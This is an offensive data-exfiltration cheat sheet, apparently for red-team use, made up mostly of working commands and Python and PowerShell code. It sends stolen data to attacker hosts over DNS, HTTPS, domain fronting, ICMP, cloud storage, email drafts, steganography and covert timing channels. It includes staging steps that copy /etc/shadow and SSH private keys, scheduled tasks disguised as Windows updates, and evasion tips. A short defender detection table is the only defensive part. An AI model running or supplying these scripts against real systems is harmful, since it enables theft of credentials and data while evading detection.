Data Exfiltration -- Offensive Methodology

Quick Workflow

1. Inventory target data. Map files, databases, credentials. Assess volume and classification.
2. Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
3. Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
4. Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
5. Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
6. Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
7. Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
8. Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.

---

DNS Exfiltration

MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS

dnscat2

# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow

# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret

iodine Tunneling

# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/

dns2tcp

# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1

TXT/CNAME Record Encoding

import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

Slow-Drip DNS

import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))

PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1.

---

HTTPS Tunneling

MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols

stunnel

Server wraps a port 8080 listener in TLS on 443. Client: stunnel -c -d 127.0.0.1:9090 -r attacker.com:443, then cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090.

Domain Fronting via CDN

# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
    --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload

# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass  # server side
chisel client --header "Host: your-collection.azureedge.net" \
    https://legitimate-cdn-domain.com R:socks         # client side

Legitimate Service Abuse

# Slack webhook
curl -X POST -H 'Content-type: application/json' \
    --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
    https://hooks.slack.com/services/T00/B00/XXX

# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
    requests.post("https://api.github.com/gists",
        json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
        headers={"Authorization": f"token {token}"})

# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
    api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}

---

ICMP Tunneling

MITRE: T1048.003 -- Non-Application Layer Protocol

icmpsh

# Attacker
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py attacker_ip target_ip

Target (Windows): icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128

ptunnel-ng

ptunnel-ng -r0.0.0.0 -R22                              # server (attacker)
ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22   # client (target)
scp -P 2222 /tmp/staged.tar.enc attacker@127.0.0.1:/loot/

Raw ICMP Embedding

import struct, socket

def icmp_exfil(data, dest_ip, chunk_size=48):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    for seq, i in enumerate(range(0, len(data), chunk_size)):
        chunk = data[i:i+chunk_size]
        hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
        pkt = hdr + chunk
        s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
        if len(pkt) % 2: s += pkt[-1] << 8
        s = (s >> 16) + (s & 0xFFFF); s += s >> 16
        hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
        sock.sendto(hdr + chunk, (dest_ip, 0))
    sock.close()

Keep payloads under 64 bytes to match standard ping. Larger payloads increase throughput but trigger IDS.

---

Cloud Storage Dead Drops

MITRE: T1567.002 -- Exfiltration to Cloud Storage

S3 Presigned URLs

import boto3
def s3_upload_url(bucket, key, expiry=3600):
    return boto3.client("s3").generate_presigned_url(
        "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)

curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."

Azure Blob SAS Tokens

$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
    -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
    -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"

GCS Signed URLs

from google.cloud import storage
import datetime
def gcs_upload_url(bucket_name, blob_name, minutes=60):
    blob = storage.Client().bucket(bucket_name).blob(blob_name)
    return blob.generate_signed_url(version="v4", method="PUT",
        expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")

Presigned URLs need no credentials on the target. Rotate buckets between drops.

---

Email-Based Exfiltration

MITRE: T1048.002 -- Asymmetric Encrypted Non-C2 Protocol

SMTP

import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders

def smtp_exfil(filepath, server, from_addr, to_addr, password):
    msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
    with open(filepath, "rb") as f:
        part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
    msg.attach(part)
    with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)

Exchange Web Services

from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    with open(filepath, "rb") as f:
        att = FileAttachment(name="data.xlsx", content=f.read())
    m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
    m.attach(att); m.send()

Draft Method

Store data in drafts -- no email transits the network, no sent-mail evidence:

from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)

---

Steganography

MITRE: T1001.002 -- Data Obfuscation: Steganography

Image

steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f    # JPEG/BMP
steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
zsteg carrier.png                                              # PNG analysis
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"

from PIL import Image
import struct

def lsb_embed(cover_path, data, output_path):
    img = Image.open(cover_path); pixels = list(img.getdata())
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
    idx = 0; new_pixels = []
    for px in pixels:
        np = list(px)
        for c in range(min(3, len(np))):
            if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
        new_pixels.append(tuple(np))
    out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)

Audio

import wave, struct

def wav_lsb_embed(cover_wav, data, output_wav):
    with wave.open(cover_wav, "rb") as w:
        params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
    with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))

Document Metadata

exiftool -Comment="$(base64 secret.enc)" carrier.jpg          # EXIF embed
cat carrier.jpg secret.enc > output.jpg                        # append after FFD9

from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
    reader = PdfReader(pdf_path); writer = PdfWriter()
    for page in reader.pages: writer.add_page(page)
    chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
    writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
    with open(output_path, "wb") as f: writer.write(f)

---

Encoding and Encryption

Base64 / Hex / Base32 Chunking

base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt      # base64 chunks
xxd -p staged.enc > staged.hex                                 # hex for DNS labels
python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"

XOR

def xor_encrypt(data, key):
    kb = key.encode() if isinstance(key, str) else key
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

AES-256-GCM

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib

def aes_encrypt_file(infile, outfile, password):
    salt = get_random_bytes(16)
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
    cipher = AES.new(key, AES.MODE_GCM)
    with open(infile, "rb") as f: pt = f.read()
    ct, tag = cipher.encrypt_and_digest(pt)
    with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)

def aes_decrypt_file(infile, outfile, password):
    with open(infile, "rb") as f: d = f.read()
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
    pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
    with open(outfile, "wb") as f: f.write(pt)

openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key

---

Covert Channels

HTTP Header Encoding

import base64, urllib.request

def http_header_exfil(data, url, chunk_size=256):
    encoded = base64.b64encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        req = urllib.request.Request(url)
        req.add_header("X-Request-ID", f"{seq:06d}")
        req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
        try: urllib.request.urlopen(req)
        except Exception: pass

chisel SOCKS Tunnel

chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload

IP ID Field Encoding

from scapy.all import IP, TCP, send
def ip_id_exfil(data, dest_ip, port=80):
    for i, byte in enumerate(data):
        send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)

Timing Channels

import time, socket

def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((dest_ip, dest_port))
    for byte in data:
        for i in range(7, -1, -1):
            bit = (byte >> i) & 1
            time.sleep(bit_time * 2 if bit else bit_time)
            sock.send(b"\x00")
    sock.close()

Timing channels: bits/second throughput, nearly undetectable. Use for keys and passwords only.

---

Data Staging

MITRE: T1074.001 -- Local Data Staging; T1029 -- Scheduled Transfer; T1030 -- Data Transfer Size Limits

Linux Pipeline

mkdir -p /tmp/.cache/updates
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
    -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256

Windows Pipeline

$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
New-Item -ItemType Directory -Force -Path $s | Out-Null
Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force
# Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks

Scheduled Transfers

# Cron -- one chunk every 30 min during business hours
(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes 30)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

---

Detection / Defender View

Technique	Detection Signal	Defender Tool
DNS exfil	High query volume, long labels, high entropy, unusual record types	Passive DNS, Zeek dns.log, entropy scoring
HTTPS tunnel	Persistent TLS, beaconing, JA3 mismatch, SNI/Host mismatch	TLS inspection, JA3 fingerprinting, NetFlow
ICMP tunnel	Large payloads, high ICMP volume, non-standard payload data	IDS payload rules, Zeek conn.log
Cloud dead drops	PUT to unfamiliar cloud endpoints from internal hosts	CASB, proxy logs, cloud API monitoring
Email exfil	Large/encrypted attachments, unusual recipients, draft volume	DLP gateway, Exchange audit logs
Steganography	Entropy anomalies, appended data after markers, stego signatures	StegExpose, file carving
Covert channels	Anomalous headers, irregular timing, non-standard protocol	DPI, protocol anomaly, ML traffic analysis

Evasion Notes

• Match DNS query rate to baseline; prefer A/AAAA over TXT/NULL records.
• Use browser-matching JA3 fingerprints; curl's TLS signature is distinctive.
• Keep ICMP payloads under 64 bytes. Rotate cloud buckets. Transfer during peak hours.

---

Engagement Cheatsheet

Scenario	Channel	Tool	Notes
Only port 53	DNS tunnel	iodine, dnscat2	Slow; slow-drip for stealth
DNS, no infra	DNS query encoding	PacketWhisper	No auth NS needed
Web access	HTTPS	chisel, curl	Fastest; blend with traffic
Domain filtering	Domain fronting	curl + CDN	CDN must allow fronting
Ping allowed	ICMP	ptunnel-ng, icmpsh	Limited BW; keys/creds
Cloud access	Dead drop	S3/Azure/GCS URLs	No client tools needed
Email available	SMTP/EWS/draft	smtplib, exchangelib	Draft = no sent evidence
Content inspection	Stego + HTTPS	steghide + curl	Carrier must look normal
Extreme monitoring	Timing channel	Custom Python	Bits/sec; near-undetectable
Single file < 1MB	DNS TXT	Custom script	No tools to drop
Large dataset > 1GB	HTTPS or cloud	chisel, presigned URL	Daily chunks

Pre-Exfil Checklist

• Verify exfil is in scope per RoE
• Identify egress channels; stage in innocuous directory
• Compress, encrypt (AES-256 min), split into channel-sized chunks
• Generate SHA-256 manifest; test with canary file first
• Set rate below detection thresholds; verify receipt and integrity
• Securely delete staging and tools; document exfil chain for report

---

Key References

• MITRE ATT&CK Exfiltration (TA0010): https://attack.mitre.org/tactics/TA0010/
• T1048, T1041, T1567, T1029, T1030, T1132, T1001
• dnscat2: https://github.com/iagox86/dnscat2
• iodine: https://github.com/yarrick/iodine
• dns2tcp: https://github.com/alex-sector/dns2tcp
• chisel: https://github.com/jpillora/chisel
• ptunnel-ng: https://github.com/lnslbrty/ptunnel-ng
• icmpsh: https://github.com/bdamele/icmpsh
• steghide: https://steghide.sourceforge.net/
• PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
• OpenStego: https://www.openstego.com/
• zsteg: https://github.com/zed-0xff/zsteg